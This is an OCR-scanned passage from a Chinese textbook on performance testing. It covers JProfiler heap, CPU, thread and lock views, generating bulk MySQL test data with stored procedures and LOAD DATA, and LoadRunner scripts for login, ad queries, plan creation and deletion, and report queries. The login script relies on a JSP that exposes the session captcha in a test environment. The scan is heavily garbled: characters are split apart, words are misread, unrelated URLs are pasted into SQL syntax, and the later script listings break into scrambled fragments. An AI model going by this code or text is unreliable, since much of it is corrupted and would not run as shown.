1) 如 果菜 个 方法 在 短 时 间 内 占用 的 大 量 内 存 或 者 实例 数 持续 增加 ， 就 应 该 关注 这 个 类 或 者 方法 。 


2) 分 析 内 存 泄 露 问题 ， 可 以 使 用 “matk 按钮 ， 以 当前 为 参照 对 象 ， 动 态 观察 内 存 使 用 变化 ， 其 中 绿色 为 参考 的 时 间 点 ， 褐 色 为 当前 内 存 使 用 情况 ， 这 样 可 以 直观 地 观察 内 存 的 使 用 、 对 象 的 创建 情 


况 。 对 于 标记 后 得 到 持续 增长 的 对 象 或 者 GC 后 ， 长 时 间 没 有 回收 的 对 象 需 要 重点 关注 ， 它 们 很 可 能 就 是 造成 内 存 泄 露 的 罪魁 祸首 。 


3) 数量 监控 很 重要 ， 如 果 使 用 了 单 例 ， 那 么 只 会 有 一 个 对 象 存在 ， 如 果 多 了 ， 就 说 明 程序 有 问题 ; 同样 ， 检 查 一 些 销毁 对 象 是 否 继续 存在 ， 如 果 没 有 销毁 ， 就 得 考虑 内 存 是 否 溢出 。 
2) 堆 遍 历 。 


在 JProfiler 的 堆 遍 历 器 (Heap walker) 中 ， 可 以 对 堆 的 状况 进行 快照 分 析 ， 并 可 以 选择 感 兴 趣 的 对 象 进行 分 析 。 扒 遍历 器 有 以 下 5 个 视图 。 
: 类 Classes: 显示 所 有 类 和 它们 的 实例 。 

: 4r BoAllocations: 为 所 有 记录 对 象 显 示 分 配 树 和 分 配 热 点 。 

- 索引 References: 为 单个 对 象 和 “显示 到 垃圾 回收 根 目录 的 路 径 ” 提供 索引 图 的 显示 功能 ， 还 能 提供 合并 输入 视图 和 输出 视图 功能 。 

: 数据 Data: 为 单个 对 象 显示 实例 和 类 数据 。 

时间 Time: 显示 一 个 对 已 记录 对 象 的 解决 时 间 的 柱状 图 。 


Qu 查找 某 个 对 象 的 引用 情况 ， 若 发 现 菜 个 该 释放 但 没有 释放 ， 可 以 查看 哪个 实例 在 引用 该 对 象 ， 找 到 了 根 节 点 也 就 找到 了 溢出 点 。 在 memoty views 界 面 中 用 鼠标 右键 单 击 要 监控 的 对 象 ， 选 择 take 


heap snapshot for selection 选 项 ， 进 入 heap walket 界 面 ， 选 择 Refetences 便 可 跟踪 其 根 对 象 的 引用 情况 。 


3) СРО, 


CPU Views 提 供 程序 对 CPU 的 使 用 情况 ， 可 以 分 别 按照 Runnable、Blocked、Waiting、Net 1O 进 行 分 组 观察 。 


: Call tree. (JAR) : 显示 一 个 积累 的 自 顶 向 下 的 树 ， 树 中 包含 所 有 在 JVM 中 已 记录 的 访问 队列 。JDBC、JMS 和 JNDI 服 务 请 求 都 被 注释 在 请 求 树 中 。 请 求 树 可 以 根据 Servlet 和 JSP 对 URIL 的 不 同 需要 进 


拆 分 。 
: Hotspots (热点 ) : 显示 消耗 时 间 最 多 的 方法 的 列表 。 对 每 个 热点 都 能 够 显示 回溯 树 。 该 热点 计算 可 以 按照 方法 请 求 ，JDBC、JMS 和 JNDI 服 务 请 求 以 及 按照 URL 请 求 来 进行 计算 。 
: Call graph. (HAA) : 显示 一 个 从 已 选 方法 、 类 、 包 或 J2EE 组 件 开始 的 访问 队列 的 图 。 
: Method Statistics (方法 统计 ) : 统计 一 段 时 间 内 ， 每 个 方法 使 用 的 具体 情况 。 
: Call Tracer. (调用 追踪 ) : 以 线程 为 单位 统计 一 段 时 间 内 ， 各 个 线程 调用 方法 的 情况 。 
Qus x 果 观 察 到 某 个 方法 对 CPU 长 时 间 的 高 频率 占用 ， 那么 程序 肯定 会 慢 ， 这 时 应 该 考虑 对 该 方法 进行 检查 和 优化 。 
4) 线程 剖析 。 
对 线程 剖析 ，JProfiler 提 供 以 下 视图 。 
` Thread history (线程 历史 ) : 显示 一 个 与 线程 活动 和 线程 状态 在 一 起 的 活动 时 间 表 。 
: Thread monitor (线程 监控 ) : 显示 一 个 列表 ， 包 括 所 有 的 活动 线程 以 及 它们 目前 的 活动 状况 。 
: Thread Dumps 《监控 死 锁 ) : 从 Thread dumps 出 来 的 信息 包含 : 线程 和 名、 线程 的 运行 状态 、 标 识 和 调用 的 栈 ; 调用 的 栈 包 含 完 整 的 类 名 、 所 执行 的 方法 和 源 代码 的 行 数 。 
: Current monitor useage (目前 使 用 的 监测 器 ) : 显示 目前 使 用 的 监测 器 ， 并 包括 它们 的 关联 线程 。 
: History usage history (历史 检测 记录 ) : 显示 重大 的 等 待 事件 和 阻塞 事件 的 历史 记录 。 


: Monitor usage statistics (监测 使 用 状态 ) : 示 分 组 监测 、 线 程 和 监测 类 的 统计 监测 数据 。 


Qu 如 果 观 察 到 系统 有 性 能 问题 ， 如 CPU 问题 ， 就 可 以 考虑 多 dump 几 次 线程 快照 ， 结 合 这 几 次 线程 快照 分 析 到 底 是 什么 原因 导致 了 系统 的 性 能 问题 。 


5) 监控 视图 。 
监控 视图 提供 了 对 系统 运行 过 程 中 锁 的 监控 信息 。 
: Current Locking Graph. (当前 锁定 图 ) : 显示 当前 锁定 线程 以 及 调用 方法 。 
` Current Monitors (当前 情况 ) : 显示 当前 等 待 和 锁定 的 线程 以 及 调用 方法 。 
. Locking History Graph (历史 锁定 图 ) : 显示 过 去 各 时 间 段 内 ， 锁 定 的 线程 以 及 调用 方法 。 


` 历史 情况 Monitor History: 显示 过 去 时 间 段 内 ， 等 待 和 锁定 的 线程 以 及 调用 方法 。 


г 监测 使 用 状态 Monitor Usage Statistics: 统计 线程 和 类 锁定 /等 待 的 总 数 / 时 间 。 
6) JVM 监 控 。 
观察 JVM 的 内 部 状态 ，JProfiler 提 供 了 如 下 遥感 勘测 视图 。 
: Memory (А) : 显示 一 个 内 存 使 用 的 活动 时 间 表 。 
: Recorded objects. (记录 的 对 象 ) : 显示 一 张 关 于 活动 对 象 与 数组 的 图 表 的 活动 时 间 表 。 
: Recorded Throughput (记录 的 对 象 ) : 显示 一 张 关于 吞 度量 的 活动 时 间 表 。 
- GC Activity (记录 的 对 象 ) : 显示 一 张 关 于 垃圾 回收 活动 的 活动 时 间 表 。 
Classes (类 ) : 显示 一 个 与 已 装载 类 的 图 表 的 活动 时 间 。 
' Threads (线程 ) : 显示 一 个 与 动态 线程 图 表 的 活动 时 间 。 


: CPU Load (CPU 负载 ) : 显示 一 个 CPU 负载 的 活动 时 间 表 。 


99 ”性 能 测试 数据 付 备 与 制作 

准备 好 测试 环境 以 及 部 署 好 监控 工具 后 ， 小 白 下 面 的 工作 是 准备 与 制作 性 能 测试 数据 。 在 9.3.2 中 确定 完 测试 数据 ， 小 白 需要 按照 确定 好 的 数据 量 来 准备 测试 数据 。 涉 及 本 次 性 能 测试 的 表 的 具体 数据 量 
如 下 。 

1) 广告 表 : MySQL 数 据 库 ， 单 表 准 备 数据 量 230 万 。 

2) userzk: Oracle 数 据 库 ， 单 表 准 备 数 据 量 为 90 万 。 

3) 计划 表 : MySQL 数 据 库 ， 单 表 准 备 数据 量 为 10 万 。 

4) 组 表 : MySQL 数 据 库 ， 单 表 准 备 数据 量 为 50 万 。 

5) 报告 表 : MongoDB 数 据 库 ， 准 备 数据 量 为 1.6TB。 

6) 审核 表 : MySQL 数 据 库 ， 准 备 未 审核 广告 数据 量 为 130 万 。 

制造 性 能 测试 数据 的 方法 有 很 多 ， 但 一 般 来 说 分 以 下 2 种 。 

1) 将 线 上 生产 环境 上 的 测试 数据 导入 线 下 的 测试 环境 。 

2) 人 为 批量 造 测 试 数据 。 


由 于 小 白 对 性 能 数据 做 了 容量 增长 预 估 ， 所 以 在 性 能 测试 环境 导入 线 上 生产 环境 的 数据 之 后 ， 仍 然 要 继续 批量 增加 性 能 测 数 据 。 数 据 库 批量 新 增 测试 数据 可 以 直接 使 用 存储 过 程 和 使 用 类 似 Data 
Factory 的 工具 生成 的 。Data Factory 的 使 用 介绍 网 上 有 很 多 ， 小 白 在 这 里 介绍 如 何 使 用 存储 过 程 以 及 用 Load Data 方 式 导 入 数据 。 


MySQL 存 储 过 程 的 基本 形式 如 下 。 


79] 


FATE PROCEDURE 存 储 过 程 名 (CAHIR) 


GIN 
SQL 语句 代码 块 
D 


DJ 
+] 


[т] 


调用 存储 过 程 也 很 简单 ， 如 下 。 


CALL 存储 过 程 名 (参数 列表 ) 


在 存储 过 程 调 用 过 程 中 ， 需 要 注意 的 是 ， 存 储 过 程 名 称 后 面 必须 加 括号 ， 哪 怕 该 存储 过 程 没有 参数 传递 。 


在 MySQL 中 可 以 使 用 DECLARE 天 键 字 来 定义 变量 。 定 义 变量 的 基本 语法 如 下 。 


DECLARE var name[, http://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/...] type [DEFAULT value] 


其 中 ，DECLARE 关 键 字 用 来 声明 变量 ，DECLARE 仪 用 在 BEGINhttp://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15052/OEBPS/Text/...END 
复合 语句 中 ， 并 且 必 须 在 复合 语句 的 开头 ， 在 任何 其 他 语句 之 前 ; var_name 参 数 是 变量 的 名 称 ， 可 以 同时 定义 多 个 变量 ; type 参 数 用 来 指定 变量 的 类 型 ，DEFAULT value 子 句 将 变量 默认 值 设 置 为 value， 
没有 使 用 DEFAULT 子 句 时 ， 黑 认 值 为 NULL。 


在 MySQL 中 可 以 使 用 SET 关键 字 来 为 变量 赋值 。SET 语 句 的 基本 语法 如 下 。 


SET var name = expr [, var name = expr] http://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/... 


其 中 ，SET 关 键 字 用 来 为 变量 赋值 ; var_name 参 数 是 变量 的 名 称 ; expr 参 数 是 赋值 表达 式 。 一 个 SET 语句 可 以 同时 为 多 个 变量 赋值 ， 各 个 变量 的 赋值 语句 之 间 用 逗号 隔 开 。 在 存储 程序 中 ，SET 语 句 是 
一 般 SET 语 句 的 扩展 版 本 ， 被 参考 变量 可 以 是 子 程序 内 声明 的 变量 ， 也 可 以 是 全 局 服务 器 变量 。 在 存储 程序 中 ，SET 语 句 作 为 预先 存在 的 SET 语法 的 一 部 分 来 实现 。 这 允许 SET a=x，b=y，.…… 这 样 的 扩展 语 
法 。 其 中 不 同 的 变量 类 型 (局 域 声明 变量 及 全 局 和 集体 变量 ) 可 以 混合 起 来 。 这 也 允许 把 局 部 变量 和 一 些 只 对 系统 变量 有 意义 的 选项 合并 起 来 。 


下 面 是 小 白 为 了 制造 定时 报告 表 (MySQL) 数据 所 写 的 存储 过 程 。 


BEGIN 
DECLARE done INT DEFAULT 0; 
declare i int default 0; 

declare accountid int; 


declare taskid int; 

declare reportname char (50) ; 

declare curl cursor for select i account id from uncelaccount; 
declare continue handler FOR SQLSTATE '03000' SET done = 1; 
open curl; 

repeat 

fetch curl into accountid; 

if not done then 


£. 


uture’, accountia) ; 


set reportname-concat ( 'unclecpcf 
insert into report task (account id , task name, report time type, 
devide type, time span, date rangel, date range2, stat range, stat ids, is repeat, email, file type, create time, type, status, last instance time) values (accounti 
select id into taskid from report task where task name-reportname; 
insert into report item (task id, item) values (taskid, 7); 
set reportname-concat ( unclecpcfuture', ассоџпііа) ; 
insert into report task (account id , task name, report | time type, devide type. time span, date rangel, date range2, stat range. stat ids, is repeat, email, f 
select id into taskid from report task where task name-reportname;: 
insert into report item (task id , item) values (taskid, 7); 
set reportname-concat ( unclequerykeyfuture', accountid) ; 
insert into report task (account id , task name, report ` time type, devide type. time span, date rangel, date range2, stat range, stat ids, is repeat. email, fil 
select id into taskid from report task where task name-reportname; 
insert into report item (task id, item) values (taskid, 2); 
#set i=i+l; 
#end while; 
set reportname-concat ( uncleaccountfuture', accountid) ; 


insert into report task (account id , task name, report time type, devide type. time span, date rangel, date range2, stat range, stat ids, is repeat, email, fil 
select id into taskid from report task where task name-reportname; 

insert into report item (task id, item) values (taskid, 7); 

set reportname-concat ( uncleplanfuture', accountid) ; 

insert into report task (account id , task name, report | time type, devide type, time span, date rangel, date range2, stat range, stat ids, is repeat. email, fil 
select id into taskid from report task where task name-reportname; 

insert into report item (task id, item) values (taskid, 7); 

set reportname-concat ( unclegroupfuture', ассоџпііа) ; 

insert into report task (account id , task name, report time type, devide type, time span, date rangel, date гапде2, stat range, stat ids, is repeat. email, fil 
values (accountid. reportname, 1, null, 0,  '2012-04-02 14: 38: 00°, 2012-04-02 14: 38: 00°, 0, null, 0, null, null, "2012-04-02 14: 38: 00', 1, 1, null); 


select id into taskid from report task where task name-reportname; 
елар into report item (task id , item) values (taskid, 7); 
end if 


until dons end repeat; 
close curl; 


存储 过 程 写 完 后 执行 ， 然 后 直接 调用 ， 即 可 批量 生产 所 需 的 测试 数据 。 但 小 白 在 使 用 存储 过 程 时 ， 发 现 调用 生成 百 万 级 别 的 数据 比较 慢 ， 于 是 他 决定 使 用 Load Data 命 令 向 MySQL 导 入 数据 。 使 用 Load 
Data 导 入 的 前 提 是 ， 已 经 提前 生成 批量 文本 数据 。Load Data 命 令 如 下 (具体 格式 以 及 参数 可 以 查找 相关 资料 学 习 ) 。 


load data local infile `./срсрІап 0101.csv' into table cpcplan 0101 character set utf8 FIELDS TERMINATED BY `, ' ENCLOSED BY ‘\\’ LINES TERMINATED BY ‘\n’; 


使 用 Load Data 命 令 导 入 数据 ，100W 数 据 在 1 分 钟 内 完成 ， 如 果 调 用 存储 过 程 ， 几 个 小 时 也 可 能 完成 不 了 ， 这 个 效率 比 使 用 Data Factory 也 高 出 很 多 ， 所 以 在 造 测 试 数据 时 ， 应 该 考虑 时 间 成 本 ， 尽 可 
选用 高 效 的 方法 准备 数据 。 


шр 
ЫЎ 


小 白 按照 上 述 的 思路 ， 用 Load Data 命 令 提前 准备 早 好 全 部 性 能 测试 数据 。 


9.10 ”性 能 测试 脚本 开发 与 优化 


做 完 前 面 的 所 有 准备 工作 之 后 ， 剩 下 的 事情 就 是 等 项 目 开 发 人 员 进 行 性 能 提 测 。 开 发 人 员 提 测 以 后 ， 小 白 第 一 时 间 开 始 准 备 性 能 测试 脚本 的 开发 工作 。 当 然 在 开发 性 能 测试 脚本 之 前 ， 小 日 应 该 再 次 熟 
悉 系 统 的 业务 逻辑 ， 因 为 只 有 熟悉 系统 业务 逻辑 之 后 ， 才 能 快速 开发 脚本 ， 也 能 在 性 能 测试 执行 时 监控 整个 数据 流 。 


由 于 这 次 测试 的 脚本 较 多 ， 小 白 下 面 只 展示 几 个 典型 的 性 能 测试 脚本 ， 如 登录 业务 ， 报 告 查询 业务 ， 新 建 、 删 除 计划 业务 ， 广 告 词 查询 业务 和 广告 发 布 业务 等 
登录 业务 脚本 


登录 业务 脚本 十 分 简单 ， 在 浏览 器 输入 URL 地 址 之 后 的 第 一 步 操 作 就 是 登录 ， 脚 本 放 入 Action 中 (后续 脚本 也 只 展示 Action 部 分 ) ， 对 用 户 名 进行 参数 化 。 这 里 有 个 小 技巧 就 是 没有 对 用 户 登录 密码 进 
行 参数 化 ， 而 是 直接 在 测试 数据 库 中 ， 将 全 部 用 户 的 密码 改 成 统一 密码 。 例 如 ， 代 码 清单 9-1 中 的 密码 没有 参数 化 ， 而 是 直接 在 ki 中 将 所 有 用 户 的 密码 均 改 为 统一 的 密码 “22222222” ， 从 而 减少 性 能 
测试 脚本 开发 的 工作 量 。 


登录 时 有 验证 码 ， 因 为 现在 的 验证 码 不 像 以 前 对 安全 不 太 重 视 时 ， 只 要 服务 器 验证 码 返 回 一 个 数字 ， 就 可 以 用 Loadrunner 关 联 函 数 获取 到 ， 现 在 验证 码 基 本 都 是 图 片 验 证 码 ， 所 以 Loadrunner 关 联 函 
数 基 本 无 法 捕获 。 对 付 这 种 登录 限制 ， 一 般 采 用 万 能 验证 码 或 者 取消 登录 验证 来 解决 ， 小 白 为 了 减少 开发 人 员 修 改 代码 以 及 重复 发 布 版 本 带 来 的 工作 量 ， 写 了 一 个 正则 表达 式 的 JSP， 放 入 项 目 中 ， DEEH 
本 中 获取 登录 验证 码 。JSP 代 码 如 下 。 


Q[«$-session.getAttribute ("validateCode") %>]0 


代码 清单 9-1 登录 业务 脚本 


Action () 


web url (“uncle.app.com’”, 
"URL-http: //uncle.app.com/^, 
Resource-0", 
RecContentType-text/html", 
"Referer-", 
"Snapshot-t49.inf", 
"Mode-HTTP", 
LAST) ; 
web url ("validateCode", 
"URL-https: //qa.auth.p4p.sogou.com/validateCode? code-checkcode&non-ce-1344998388071", 
"Resource-1", 
RecContentType-image/gif", 
"Referer-https: //qa.auth.p4p.sogou.com/login? service-http£$3A$2Fe2Funcle.app.com£2Findex.jsp", 
"Snapshot-t57.inf", 


WT 


LAST) ; 
lr think time (2); 
web reg save param ех ( // 关 联 函数 ， 获 取 登 录 验 证 码 


"ParamName-CorrelationParameter 1^", 
"LB-Connection: keep-alive\r\n\r\n”, 


"RB-"U, 
SEARCH FILTERS, 
"Scope-All", 
"RequestUrl-*/getvalidateCode*", 
LAST) ; 
web url ("getvalidateCode", // 访 问 小 白 自己 写 的 JSP， 以 方便 登录 时 获取 验证 码 
"URL-https: //qa.auth.p4p.sogou.com/getvalidateCode", 


Resource-0", 
"Referer-", 
"Snapshot-t71.inf", 
"Mode-HTTF", 

LAST) ; 
lr start transaction CXR”) ; 
web submit data ("login", 

"Action-https: //qa.auth.p4p.sogou.com/login? service-http£$3A$2Fe2Funcle.app.com£2Findex.jsp", 


` 


РА 


} 


lr end transact 
web | reg ` 


"Me 


thod-POST", 


"RecConten 


"Referer-", 


tType 


"Snapshot- 


ТЕМРАТА, 
"Name-1t", 


"Name- 


"Name-val 


“Техі=меј] 


LAST) ; 


web url ("casI 


ш URL-http : 


e-execution", 
' eventI 
e-username", 
e-password", 
idateCode", 
tion OCKE”, 
find ("Search- Body", / REISEN RAES, ТЕЛЕЕ Н 


| come", 


Resource-0", 


t72.inf", 


"Mode-HTTP", 


"Value-LT-24-mlwZBkgEYx 

"Value-els1", 
"Val 
"Val 
Na ] 


га”, 


/ /uncl 


nit.jsp" 
e.app.com/jsp/cas1 


text/html", 


j2wmiEvmxOA4XUDezVOR", ENDITEM, 
ENDITEM, 
ue-submit",  ENDITEM, 
ue-(username)", ENDITEM,  //£34k.H 1 E 

ue-22222222", ENDITEM，// 密 码 全 部 统一 没有 进行 参数 化 
"Value-(CorrelationParameter 1)", ENDITEM，// 关 联 验证 码 LAST) ; 


LR AUTO) ; 


, 


nit.jsp", 


"RecConten 


tType 


“Referer=h 


"Snapshot-t 


NV 


LAST) ; 
return 0; 


73.inf^", 


"Mode-HTTFP", 


2. 广 告 查询 业务 脚本 


用 户 在 登录 


照 价 格 、 


批量 查询 以 及 排序 操作 的 脚本 。 所 有 系统 的 查询 业务 都 是 测试 中 必 有 8 


录 脚 本 部 分 


代码 清单 9-2 


E 小 白 的 所 有 脚本 中 均 删 除 


Action О) 


{ 


lr 


think 


之 后 ， 可 以 查询 自己 的 广告 
展示 量 等 因素 排序 。 为 了 避免 一 直 查 询 同一 个 账户 下 的 广告 造成 性 能 测试 数据 的 不 准确 ， 所 以 需要 对 账户 1D 进 4 


time (2); 


"Act 


Ir: 
web 


S 


tart : 


text/html”, 
ttp: //uncle.app.com/index.jsp” 


。 广告 查询 分 为 默认 查询 和 批量 查询 ， 都 是 从 数据 库 查 询 出 全 部 广 


页 考虑 到 的 场景 ， 特 别 是 一 些 大 数据 量 的 查询 可 能 存在 性 能 


了 与 性 能 测试 场景 无 关 的 请 求 ， 如 登录 操作 之 后 的 查询 页 面 请 求 和 查询 操作 之 后 


广告 查询 业务 脚本 


transaction ("Afi AJ SA Ef" ; 


submit data ("showkeylist.action", 


“В, 


ion-http: //uncle.app.com/manage/showkeylist.action? t-1383990625441^", 
"Method-POST", 
"TargetFrame-", 


"RecConten 


"Snapshot 


TEMDATA 


LAST) ; 


"Name-pageNo", 
"Name-pageSize", 
"Name-keySearchIn! 
"Name-order", 
“Мате=р1апіа”, 
"Name-t", 


tType=tex 


, 


"Name-keyMatchType", 
"Name-keyStatus", 
"Name-keySearchInf 


c/Javascript", 


eferer-http: //uncle. app. com/cpcadindex/init.action? http request head menu param-2, 0”, 


M 


t=t111.inf” 
“Mode=HTML”, 


, 


"Value-0", ЕМРІТЕМ, 
"Value--1", Eco 


C n 
о, 


"Value-1", ЕМРІТЕМ, 


"Val FE 
/1/ 碍 询 第 几 页 数据 ， 1 为 第 一 
о Ж T 


“Ма1ме=20”, ENDIT 
Fo", "Value-", ENDITEM 


transaction (\ 关 键 词 列表 默认 查询 ”， 
time (2); 


"Ref 


lr 


lr 


"Value-1", END 
"Value-í(username]",  ENDITEM, 
"Value- 


// 排 序 规则 ， 1 为 默认 排序 
// 参 数 化 账户 的 planid 
0.41619666233571917", ENDITEM, 


ТЕМ, 


LR AUTO) ; 


transaction (* 关 键 词 列表 批量 查询 “) ; 

submit data ("showkeylist.action", 

ion-http: //uncle.app.com/manage/showkeylist.action? t-1383990625441^", 
"Method-POST", 
"TargetFrame-", 


"RecConten 


cType-tex 


"Snapshot- 
"Mode-HTML 
TEMDATA, 


"Name-t", 
LAST) ; 
end ` 


think 


"Name-pageSize", 
"Name-keySearchInfo 
"Name-order", 

"Name-planid", 
"Value-0. 


c111.inf" 


"n 
, 


"Name-keyMatchType", 
"Name-keyStatus", 
"Name-keySearchInfo 
"Name-pageNo", 


"Value--1^, 
“Ж 
"Value-10", END 


t/Javascript", 


erer-http: //uncle.app.com/cpcadindex/init.action? http request head menu param-2, 0”, 


3 


"Value-0", ЕМРІТЕМ, 
ENDITEM, 
ue-", ENDITEM 


"Value-200", ЕМРІТЕМ, 
E “Val D 
"Value-l", 


TEM Е: 第 几 页 数据 ， 此 处 查询 第 10 页 
// 每 页 显示 数量 ， 200 为 批量 查 
ТТЕМ, 


// 排 序 规则 ，1 为 默认 排序 


询 


— Ld 


ue-",  ENI 
ENDITEM, 


transaction (\ 关 键 词 列 表 批 量 查 询 ”， 
time (2); 


LY 
we 


“Ac 


“Ref 


start 


tion-h 
"Method-PO 


ST", 


"TargetFrame-", 


"Value-í(username])",  ENDITEM, 


// 参 数 化 账户 的 planid 
41619666233571917", ENDITEM, 


LR AUTO) ; 


s | transaction ("关键 词 列表 按 按 广告 价格 排序 ”)，; 
b submit data ("showkeylist.action", 
ttp: //uncle.app.com/manage/showkeylist.action? t-1383990625441^", 


"RecConten 


cType-tex 


"Snapshot- 
"Mode-HTML 
TEMDATA, 


"Name-page 


"Name-orde 
"Name-plan 
"Name-t", 
LAST) ; 


"n 
, 


"Name-keyMatchType", 
"Name-keyStatus", 
"Name-keySearchInfo 
"Name-pageNo", 


"Value--1", k 
", "Val 
"Value-1", ЕМРІТЕМ, 


t/Javascript", 


erer-http: //uncle.app.com/cpcadindex/init.action? http request head menu param-2, 0”, 
ЗНН nf“, 


"Value-0", ЕМРІТЕМ, 


TIEA 1 为 第 一 


Size", 


"Name-keySearchInfo", 
"Value-7",  ENDITEM, 
"Value-[(username 


E. 
id", 


"Value-0. 


"Value-20", END 


FM, Lans ua э шы: 


T 
ue-", ENDITEM 

// 排 序 规则 ， 7 为 按照 广告 价格 从 高 到 低 排 序 
)", ENDITEM. // 参 数 化 账户 的 planid 
41619666233571917", ENDITEM, 


"Val 


lr end transaction (“关键 词 列表 按 按 广告 价格 排序 “，LR AUTO) ; 
return 0; 


} 


3. 增 加 以 及 删除 计划 业务 脚本 


对 数据 库 的 写 操作 也 是 性 和 


账户 计划 达到 上 限 无 法 继续 写 入 的 情况 ， 所 以 小 白 在 插入 计划 脚本 之 后 


同时 为 了 避免 新 建 计划 名 字 重 复 
省 去 init 中 的 登录 脚本 部 分 


疡 测试 场景 中 很 重要 的 一 种 场景 ， 
添加 了 删除 操作 ， 从 而 保证 一 个 脚本 能 持 乡 


， 所 以 也 对 计划 名 字 做 了 参数 化 。 这 个 脚本 中 需要 使 用 登录 操作 中 的 用 户 唯一 账户 1D 来 确认 广告 


因为 计划 的 新 建 和 删除 、 组 的 新 建 和 删除 的 基本 逻辑 相同 ， 所 以 后 面 不 再 单独 展示 组 的 新 建 、 删 除 脚 本 。 


代码 清单 9-3 


计划 新 建 、 删 除 业务 脚本 


告 数据 ， 区 别 是 默认 查询 一 页 


问题 。 


的 统计 请 求 。 


计划 属于 哪个 账户 ， 


显示 20 条 数据 ， 批 量 查 询 一 页 
J 参数 化 ， 为 了 避免 本 书 中 的 脚本 展示 重复 
该 脚本 依赖 登录 操作 ， 以 确定 查询 哪个 账户 的 


在 init 脚 本 部 分 


， 代 码 清单 9-2 中 


显示 200 条 数据 。 查 询 数 据 可 以 按 


一 次 性 展示 了 默认 查询 、 
告 词 ， 在 这 里 省 去 init 登 


本 项 目 中 的 写 操作 基本 相同 ， 只 是 每 次 写 入 的 数据 量 不 同 而 已 。 因 为 每 个 账户 计划 的 数量 最 多 为 200， 并 发 新 建 计划 一 段 时 间 后 ， 就 会 出 现 
卖 并 发 ， 如 代码 清单 9-3 所 示 。 由 于 需要 删除 新 建 的 计划 ， 所 以 这 里 需要 关联 获取 到 计划 1D， 


行 账 户 唯 一 ID 的 参数 化 ， 这 里 同样 


Action ©) 
{ 


lr 


think time (2); 


web 


reg save param ех ( 


"ParamName-CorrelationParameter 2^", 


Nw NX 


B=: 


LT 


ERS , 


Ѕсоре=А11”, 
tUrl-*/createPlan.action*", 


lr start ` 
web submi! 


"Action-h 


NN 


RecCon 


cen 


“Веі 


э 


Ferer=h 
Snapsho 


"Mode-HTTP", 


T 


LAST) ; 


lr think 


lr end transaction 
time (2) ; 


EMDATA, 

"Name-cpcPlanDto 
"Name-cpcPlanDto 
"Name-cpcPlanDto 
"Name-cpcPlanDto 


lr start 


submi! 


tion-h 


"Method-POST", 


transaction (`j 
t data ("batchdeleteplan.action", 
tp: //uncle.app.sogou.com/manage/batchdeleteplan.action? t-1&t- 1339381241642", 


.planName", 
.isUseAccountRegion", 
"Value-0] 
"Val 


.region", 
.isUnionShow", 


("新 建 计划 ”， 
HERIR O ; 


cen 


ferer-h 
Snapsho 


t178.inf 


cn 


"Mode-HTTP", 


Т 


LAST) ; 
lr 


rec 


urn 0; 


EMDATA, 
"Name-planl 


dArr", 


4 .报告 查询 业务 脚本 


, 


"Value-(CorrelationParameter 2)”, 


end transaction С“ ТГ”, 


transaction ("新 建 计划 ”) ; 

t data ("createPlan.action", 
tp: //uncle.app.sogou.com/cpcpub/plan/createPlan.action? t-1339381133904", 
"Method-POST", 
] tType-text/Javascript", 
ttp: //uncle.app.sogou.com/cpcadindex/init.action? http request head menu param-2, 0", 
t174.inf", 


// 关 联 新 建 计划 的 ID， 以 方便 后 面 删除 使 用 


ENDITEM，/* 参 数 化 计划 名 字 ， 防 止 重复 */ 


"Value-UncleANtest (NewParam]", 


1111 


"Value- ENDITEM, 
1111111111111111111111111100", 


d mis 
, 


ENDITEM, 


ue-1", 


d ENDITEM, 


tType-text/Javascript", 
ttp: //uncle.app.sogou.com/cpcadindex/init.action? http request head menu param-2, 0", 


LR AUTO) ; 


"n 


ENI // 关 联 计 划 工 


DITEM, 


LR AUTO) ; 


由 于 报告 的 数据 量 很 庞大 ， 总 计 在 MongoDB 中 有 1.6TB 数 据 量 ， 所 以 需要 做 性 能 测试 。 报 告 查询 分 为 时 间 查 询 维度 、 统 计 维 度 和 查询 维度 ， 碍 询 维度 还 分 为 按照 账户 、 计 划 、 组 、 广 告 词 进行 查询 。 为 


代码 清单 9-4 ”报告 查询 业务 脚本 


了 避免 查询 缓存 ， 在 脚本 中 对 账户 等 查询 维度 进行 参数 化 ， 如 代码 清单 9-4 所 示 。 为 了 使 脚本 不 重复 ， 代 码 清单 9-4 中 展示 不 同 查询 维度 的 脚本 。 


Action О) 
{ 
lr think time (2); 
lr start transaction ("搜索 词 本 月 默认 ”) ; 
web submit data ("queryReportSample.action 6”, 
"Action-http: //uncle.app/report/common/queryReportSample.action? t- 1403584344749", 
"Method-POST", 
"TargetFrame-", 
"RecContentType-text/Javascript", 
"Referer-http: //uncle.app/report/common/init.actiontdsearchKey", 
"Snapshot-t44.inf", 
“Mode=HTML”, 
TEMDATA, 
"Name-jsonStr^", "Value-[WM'timeSelectN": V/3N*, WstatType\“: \”0\“, N'reportTypeN": \”10\“, \”аеуїсеТуре\“: WOW”, ENDITEM, /*reportType 为 查询 维度 ，10 表 示 查 询 维 度 为 搜索 词 ;， de 
EXTRARES, 
"Url-http: //10.13.211.135/1а.91#? sy-uncle.app&ag-&ad-&aco-&ac-(accountid)&pf-Wi- n32&err-00&url-$2Freporte2Fcommon22FqueryReportSample.action&s1-1403584344749$82-140358434757] 
"Referer-http: //uncle.app/report/common/init.action",  ENDITEM, 
"Url-http: //pb.kspost.sogou.com/pb4lyb.gif? pvid-1403584300555 43964&t-1403584366854&ui-110783-113731&name-click&x-50&y-25&src-A&bw- 1137, 568&sc-1, 0, 0, 0, 0”, "Referer-http: 
LAST) ; 
lr end transaction (“194 Н ІЛ”, LR AUTO) ; 
lr think time (2) ; i 
lr start transaction COKA EB RUPEE"); 
web submit data ("queryReportSample.action 8", 
"Action-http: //uncle.app/report/common/queryReportSample.action? t- 1403584366825", 
"Method-POST", 
"TargetFrame-", 
"RecContentType-text/Javascript", 
"Referer-http: //uncle.app/report/common/init.actiontdsearchKey", 
"Snapshot-t46.inf", 
“Mode=HTML”, 
TEMDATA, 
"Name-jsonStr", 
"Value-(V'timeSelectNV": V/3NV*, MstatType V": \”1\°“, V/reportType V": \”7\“, N'deviceTypeN": \”З\“}”, ENDITEM,  /*reportType 为 查询 维度 ，7 表 示 查 询 维 度 为 账户 维度 deviceType 是 查询 时 间 ， 
EXTRARES, 
"Url-http: //10.13.211.135/1la.gif? sy-uncle.app&ag-&ad-&aco-&ac (accountid]&pf-Win32&err-00&url-$2Freport$2Fcommon$2FqueryReportSample.action&sl- 


1403584366825&52=1403584370206653=14 
